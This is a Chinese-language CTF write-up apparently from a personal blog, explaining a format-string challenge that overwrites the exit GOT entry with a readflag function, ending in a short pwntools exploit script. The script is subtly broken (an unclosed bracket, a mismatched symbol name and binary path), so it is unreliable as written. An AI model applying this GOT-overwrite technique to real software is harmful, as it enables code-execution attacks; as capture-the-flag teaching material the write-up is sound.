fmt and got

moectf2025fmt and got图片1.png

main函数:

moectf2025fmt and got图片2.png

后门函数是readflag函数,我们看代码,很明显的格式化字符串漏洞,但是有一个问题,就是strcpy会在复制后自动添加一个空字符,而printf遇到空字符会停止,我们要先确保我们不会收到这个空字符的影响,我们看汇编代码

moectf2025fmt and got图片3.png

我们看到确实是在rax+22h的地方放了一个空字符,但是我们看到下面发现rsi也被设置成了rax+22h,也就是说我们向read输入的第一个东西会覆盖空字符,那么我们就不用担心空字符的影响了

那么我们接下来的事就是找偏移量了

moectf2025fmt and got图片4.png

我们看到第10个偏移量出现了我们输入的A,但是差了两字节,那我们就要前面填6字节,使用偏移量11了

moectf2025fmt and got图片5.png

这个的原因是一开始输入了 34 个字节,每一页是 8 字节就还剩了两字节,我们需要补上,然后就是修改exit的got表为readflag了,注意在使用fmtstr时省略前面多的34+6个字符

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = remote('8.147.132.32',33177)
p = process('./fmt_got')
elf = ELF('./pwn')
exit_got = elf.got['exit']
readflag_addr = elf.symbols['read_flag
payload = b'B' * 6
payload += fmtstr_payload(11, {exit_got: readflag_addr},numbwritten=40)
p.sendlineafter(b'> ', payload)
p.interactive()

题目链接:

CTF-Writeups/NewStar CTF 2025/fmt and got at main · ZenDuk17/CTF-Writeups


fmt and got
http://localhost:8080/archives/fmt-and-got
作者
ZenDuk
发布于
2025年11月12日
许可协议